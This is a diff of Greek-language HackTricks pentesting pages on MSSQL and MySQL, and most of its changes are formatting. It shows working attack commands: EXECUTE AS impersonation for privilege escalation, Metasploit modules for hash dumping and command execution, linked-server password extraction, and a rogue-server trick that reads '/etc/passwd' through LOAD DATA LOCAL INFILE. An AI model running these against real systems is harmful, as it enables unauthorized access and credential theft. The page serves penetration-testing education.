Αν μπορείτε να προσωποποιήσετε έναν χρήστη, ακόμα κι αν δεν είναι sysadmin, πρέπει να ελέγξετε αν ο χρήστης έχει πρόσβαση σε άλλες βάσεις δεδομένων ή συνδεδεμένους διακομιστές.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Σημειώστε ότι αφού γίνετε sysadmin μπορείτε να προσωποποιήσετε οποιονδήποτε άλλο:
|
Σημειώστε ότι αφού γίνετε sysadmin μπορείτε να προσωποποιήσετε οποιονδήποτε άλλο:
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
-- Impersonate RegUser
|
-- Impersonate RegUser
|
||||||
EXECUTE AS LOGIN = 'RegUser'
|
EXECUTE AS LOGIN = 'RegUser'
|
||||||
|
@ -433,37 +472,40 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||||
-- Change back to sa
|
-- Change back to sa
|
||||||
REVERT
|
REVERT
|
||||||
```
|
```
|
||||||
|
|
||||||
Μπορείτε να εκτελέσετε αυτήν την επίθεση με ένα **module του metasploit**:
|
Μπορείτε να εκτελέσετε αυτήν την επίθεση με ένα **module του metasploit**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||||
```
|
```
|
||||||
|
|
||||||
ή με ένα σενάριο **PS**:
|
ή με ένα σενάριο **PS**:
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||||
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
||||||
```
|
```
|
||||||
|
|
||||||
## Χρήση του MSSQL για Διατήρηση
|
## Χρήση του MSSQL για Διατήρηση
|
||||||
|
|
||||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||||
|
|
||||||
## Εξαγωγή κωδικών πρόσβασης από SQL Server Linked Servers
|
## Εξαγωγή κωδικών πρόσβασης από SQL Server Linked Servers
|
||||||
Ένας επιτιθέμενος μπορεί να εξάγει κωδικούς πρόσβασης από τους συνδεδεμένους διακομιστές SQL Server από τις προσβάσεις SQL και να τους λάβει σε καθαρό κείμενο, παρέχοντας στον επιτιθέμενο κωδικούς πρόσβασης που μπορούν να χρησιμοποιηθούν για να αποκτήσει μεγαλύτερο έδαφος στον στόχο.
|
|
||||||
Το script για την εξαγωγή και αποκρυπτογράφηση των κωδικών που αποθηκεύονται για τους συνδεδεμένους διακομιστές μπορεί να βρεθεί [εδώ](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
|
||||||
|
|
||||||
Κάποιες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν για να λειτουργήσει αυτή η εκμετάλλευση.
|
Ένας επιτιθέμενος μπορεί να εξάγει κωδικούς πρόσβασης από τους συνδεδεμένους διακομιστές SQL Server από τις προσβάσεις SQL και να τους λάβει σε καθαρό κείμενο, παρέχοντας στον επιτιθέμενο κωδικούς πρόσβασης που μπορούν να χρησιμοποιηθούν για να αποκτήσει μεγαλύτερο έδαφος στον στόχο. Το script για την εξαγωγή και αποκρυπτογράφηση των κωδικών που αποθηκεύονται για τους συνδεδεμένους διακομιστές μπορεί να βρεθεί [εδώ](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
|
||||||
Καταρχάς, πρέπει να έχετε δικαιώματα Διαχειριστή στον υπολογιστή ή τη δυνατότητα να διαχειρίζεστε τις ρυθμίσεις του SQL Server.
|
|
||||||
|
Κάποιες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν για να λειτουργήσει αυτή η εκμετάλλευση. Καταρχάς, πρέπει να έχετε δικαιώματα Διαχειριστή στον υπολογιστή ή τη δυνατότητα να διαχειρίζεστε τις ρυθμίσεις του SQL Server.
|
||||||
|
|
||||||
Μετά την επικύρωση των δικαιωμάτων σας, πρέπει να ρυθμίσετε τρία πράγματα, τα οποία είναι τα ακόλουθα:
|
Μετά την επικύρωση των δικαιωμάτων σας, πρέπει να ρυθμίσετε τρία πράγματα, τα οποία είναι τα ακόλουθα:
|
||||||
|
|
||||||
1. Ενεργοποίηση του TCP/IP στις προσβάσεις του SQL Server;
|
1. Ενεργοποίηση του TCP/IP στις προσβάσεις του SQL Server;
|
||||||
2. Προσθήκη ενός παραμέτρου εκκίνησης, σε αυτήν την περίπτωση, θα προστεθεί ένα σημάδι ανίχνευσης, το οποίο είναι το -T7806.
|
2. Προσθήκη ενός παραμέτρου εκκίνησης, σε αυτήν την περίπτωση, θα προστεθεί ένα σημάδι ανίχνευσης, το οποίο είναι το -T7806.
|
||||||
3. Ενεργοποίηση απομακρυσμένης διαχείρισης σύνδεσης.
|
3. Ενεργοποίηση απομακρυσμένης διαχείρισης σύνδεσης.
|
||||||
|
|
||||||
Για να αυτοματοποιήσετε αυτές τις ρυθμίσεις, [αυτό το αποθετήριο](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) έχει τα απαιτούμενα scripts.
|
Για να αυτοματοποιήσετε αυτές τις ρυθμίσεις, [αυτό το αποθετήριο](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) έχει τα απαιτούμενα scripts. Εκτός από ένα script Powershell για κάθε βήμα της ρύθμισης, το αποθετήριο έχει επίσης ένα πλήρες script που συνδυάζει τα scripts ρύθμισης και την εξαγωγή και αποκρυπτογράφηση των κωδικών.
|
||||||
Εκτός από ένα script Powershell για κάθε βήμα της ρύθμισης, το αποθετήριο έχει επίσης ένα πλήρες script που συνδυάζει τα scripts ρύθμισης και την εξαγωγή και αποκρυπτογράφηση των κωδικών.
|
|
||||||
|
|
||||||
Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτήν την επίθεση:
|
Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτήν την επίθεση: [Αποκρυπτογράφηση Κωδικών Διακομιστή Σύνδεσης Βάσης Δεδομένων MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||||
[Αποκρυπτογράφηση Κωδικών Διακομιστή Σύνδεσης Βάσης Δεδομένων MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
|
||||||
|
|
||||||
[Αντιμετώπιση προβλημάτων με την Αφιερωμένη Διαχειριστική Σύνδεση SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
[Αντιμετώπιση προβλημάτων με την Αφιερωμένη Διαχειριστική Σύνδεση SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||||
|
|
||||||
|
@ -492,16 +534,16 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
## Αυτόματες Εντολές HackTricks
|
## Αυτόματες Εντολές HackTricks
|
||||||
|
|
||||||
```
|
```
|
||||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 1433 #Comma separated if there is more than one.
|
Port_Number: 1433 #Comma separated if there is more than one.
|
||||||
|
@ -557,6 +599,7 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||||
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
@ -566,7 +609,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# 3306 - Πεντεστική επίθεση στο Mysql
|
# 3306 - Pentesting Mysql
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -25,16 +25,20 @@
|
||||||
Το **MySQL** μπορεί να περιγραφεί ως ένα ανοιχτού κώδικα **Σύστημα Διαχείρισης Σχεσιακών Βάσεων Δεδομένων (RDBMS)** που είναι διαθέσιμο χωρίς κόστος. Λειτουργεί με βάση τη **Δομημένη Γλώσσα Ερωτημάτων (SQL)**, επιτρέποντας τη διαχείριση και την επεξεργασία των βάσεων δεδομένων.
|
Το **MySQL** μπορεί να περιγραφεί ως ένα ανοιχτού κώδικα **Σύστημα Διαχείρισης Σχεσιακών Βάσεων Δεδομένων (RDBMS)** που είναι διαθέσιμο χωρίς κόστος. Λειτουργεί με βάση τη **Δομημένη Γλώσσα Ερωτημάτων (SQL)**, επιτρέποντας τη διαχείριση και την επεξεργασία των βάσεων δεδομένων.
|
||||||
|
|
||||||
**Προεπιλεγμένη θύρα:** 3306
|
**Προεπιλεγμένη θύρα:** 3306
|
||||||
|
|
||||||
```
|
```
|
||||||
3306/tcp open mysql
|
3306/tcp open mysql
|
||||||
```
|
```
|
||||||
|
|
||||||
## **Σύνδεση**
|
## **Σύνδεση**
|
||||||
|
|
||||||
### **Τοπική**
|
### **Τοπική**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mysql -u root # Connect to root without password
|
mysql -u root # Connect to root without password
|
||||||
mysql -u root -p # A password will be asked (check someone)
|
mysql -u root -p # A password will be asked (check someone)
|
||||||
```
|
```
|
||||||
|
|
||||||
### Απομακρυσμένη
|
### Απομακρυσμένη
|
||||||
|
|
||||||
MySQL επιτρέπει στους χρήστες να συνδεθούν απομακρυσμένα στη βάση δεδομένων. Αυτό μπορεί να αποτελέσει μια ευκαιρία για επιτιθέμενους να εκμεταλλευτούν το σύστημα. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν διάφορες τεχνικές για να προσπελάσουν τη βάση δεδομένων MySQL απομακρυσμένα.
|
MySQL επιτρέπει στους χρήστες να συνδεθούν απομακρυσμένα στη βάση δεδομένων. Αυτό μπορεί να αποτελέσει μια ευκαιρία για επιτιθέμενους να εκμεταλλευτούν το σύστημα. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν διάφορες τεχνικές για να προσπελάσουν τη βάση δεδομένων MySQL απομακρυσμένα.
|
||||||
|
@ -58,13 +62,16 @@ MySQL επιτρέπει στους χρήστες να συνδεθούν απ
|
||||||
#### Επίθεση εκτελέσιμων αρχείων
|
#### Επίθεση εκτελέσιμων αρχείων
|
||||||
|
|
||||||
Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν ευπάθειες σε εκτελέσιμα αρχεία που σχετίζονται με το MySQL. Αυτό μπορεί να περιλαμβάνει ευπάθειες σε εκτελέσιμα αρχεία που χρησιμοποιούνται για την εκτέλεση εντολών στο σύστημα ή ακόμα και ευπάθειες σε εκτελέσιμα αρχεία που χρησιμοποιούνται για την εκτέλεση εντολών στον διακομιστή MySQL. Οι επιτιθέμενοι μπορούν να εκτελέσουν κακόβουλο κώδικα ή να αποκτήσουν ανεξέλεγκτη πρόσβαση στο σύστημα.
|
Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν ευπάθειες σε εκτελέσιμα αρχεία που σχετίζονται με το MySQL. Αυτό μπορεί να περιλαμβάνει ευπάθειες σε εκτελέσιμα αρχεία που χρησιμοποιούνται για την εκτέλεση εντολών στο σύστημα ή ακόμα και ευπάθειες σε εκτελέσιμα αρχεία που χρησιμοποιούνται για την εκτέλεση εντολών στον διακομιστή MySQL. Οι επιτιθέμενοι μπορούν να εκτελέσουν κακόβουλο κώδικα ή να αποκτήσουν ανεξέλεγκτη πρόσβαση στο σύστημα.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mysql -h <Hostname> -u root
|
mysql -h <Hostname> -u root
|
||||||
mysql -h <Hostname> -u root@localhost
|
mysql -h <Hostname> -u root@localhost
|
||||||
```
|
```
|
||||||
|
|
||||||
## Εξωτερική Απαρίθμηση
|
## Εξωτερική Απαρίθμηση
|
||||||
|
|
||||||
Ορισμένες από τις ενέργειες απαρίθμησης απαιτούν έγκυρα διαπιστευτήρια
|
Ορισμένες από τις ενέργειες απαρίθμησης απαιτούν έγκυρα διαπιστευτήρια
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||||||
msf> use auxiliary/scanner/mysql/mysql_version
|
msf> use auxiliary/scanner/mysql/mysql_version
|
||||||
|
@ -74,14 +81,18 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
|
||||||
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
|
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
|
||||||
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||||||
```
|
```
|
||||||
|
|
||||||
### [**Βίαιη επίθεση**](../generic-methodologies-and-resources/brute-force.md#mysql)
|
### [**Βίαιη επίθεση**](../generic-methodologies-and-resources/brute-force.md#mysql)
|
||||||
|
|
||||||
### Γράψτε οποιαδήποτε δυαδικά δεδομένα
|
### Γράψτε οποιαδήποτε δυαδικά δεδομένα
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||||||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||||||
```
|
```
|
||||||
|
|
||||||
## **Εντολές MySQL**
|
## **Εντολές MySQL**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
show databases;
|
show databases;
|
||||||
use <database>;
|
use <database>;
|
||||||
|
@ -118,6 +129,7 @@ quit;
|
||||||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||||||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||||
```
|
```
|
||||||
|
|
||||||
### Απαρίθμηση Δικαιωμάτων MySQL
|
### Απαρίθμηση Δικαιωμάτων MySQL
|
||||||
|
|
||||||
Για να απαριθμήσουμε τα δικαιώματα στο MySQL, μπορούμε να χρησιμοποιήσουμε τις παρακάτω τεχνικές:
|
Για να απαριθμήσουμε τα δικαιώματα στο MySQL, μπορούμε να χρησιμοποιήσουμε τις παρακάτω τεχνικές:
|
||||||
|
@ -141,6 +153,7 @@ mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||||
#### Εμφάνιση των δικαιωμάτων των χρηστών με βάση διευθύνσεις IP
|
#### Εμφάνιση των δικαιωμάτων των χρηστών με βάση διευθύνσεις IP
|
||||||
|
|
||||||
Μπορούμε να εμφανίσουμε τα δικαιώματα των χρηστών με βάση τις διευθύνσεις IP χρησιμοποιώντας την εντολή `SHOW GRANTS FOR <username>@'<ip_address>';`. Αυτή η εντολή θα εμφανίσει τα δικαιώματα που έχουν ανατεθεί σε έναν συγκεκριμένο χρήστη με βάση μια συγκεκριμένη διεύθυνση IP.
|
Μπορούμε να εμφανίσουμε τα δικαιώματα των χρηστών με βάση τις διευθύνσεις IP χρησιμοποιώντας την εντολή `SHOW GRANTS FOR <username>@'<ip_address>';`. Αυτή η εντολή θα εμφανίσει τα δικαιώματα που έχουν ανατεθεί σε έναν συγκεκριμένο χρήστη με βάση μια συγκεκριμένη διεύθυνση IP.
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
#Mysql
|
#Mysql
|
||||||
SHOW GRANTS [FOR user];
|
SHOW GRANTS [FOR user];
|
||||||
|
@ -163,6 +176,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||||
#@ Functions not from sys. db
|
#@ Functions not from sys. db
|
||||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||||
```
|
```
|
||||||
|
|
||||||
Μπορείτε να δείτε στα έγγραφα το νόημα κάθε προνομίου: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
|
Μπορείτε να δείτε στα έγγραφα το νόημα κάθε προνομίου: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
|
||||||
|
|
||||||
### MySQL File RCE
|
### MySQL File RCE
|
||||||
|
@ -175,16 +189,20 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||||
|
|
||||||
Πράγματι, όταν προσπαθείτε να **φορτώσετε τα δεδομένα τοπικά σε μια πίνακα** το **περιεχόμενο ενός αρχείου**, ο διακομιστής MySQL ή MariaDB ζητά από τον **πελάτη να το διαβάσει** και να στείλει το περιεχόμενο. **Έτσι, αν μπορείτε να παραβιάσετε έναν πελάτη mysql για να συνδεθεί στον δικό σας διακομιστή MySQL, μπορείτε να διαβάσετε αυθαίρετα αρχεία.**\
|
Πράγματι, όταν προσπαθείτε να **φορτώσετε τα δεδομένα τοπικά σε μια πίνακα** το **περιεχόμενο ενός αρχείου**, ο διακομιστής MySQL ή MariaDB ζητά από τον **πελάτη να το διαβάσει** και να στείλει το περιεχόμενο. **Έτσι, αν μπορείτε να παραβιάσετε έναν πελάτη mysql για να συνδεθεί στον δικό σας διακομιστή MySQL, μπορείτε να διαβάσετε αυθαίρετα αρχεία.**\
|
||||||
Παρακαλούμε να σημειώσετε ότι αυτή είναι η συμπεριφορά χρησιμοποιώντας:
|
Παρακαλούμε να σημειώσετε ότι αυτή είναι η συμπεριφορά χρησιμοποιώντας:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||||
```
|
```
|
||||||
|
|
||||||
(Παρατηρήστε τη λέξη "τοπικό")\
|
(Παρατηρήστε τη λέξη "τοπικό")\
|
||||||
Γιατί χωρίς το "τοπικό" μπορείτε να αποκτήσετε:
|
Γιατί χωρίς το "τοπικό" μπορείτε να αποκτήσετε:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||||
|
|
||||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||||
```
|
```
|
||||||
|
|
||||||
**Αρχικό PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
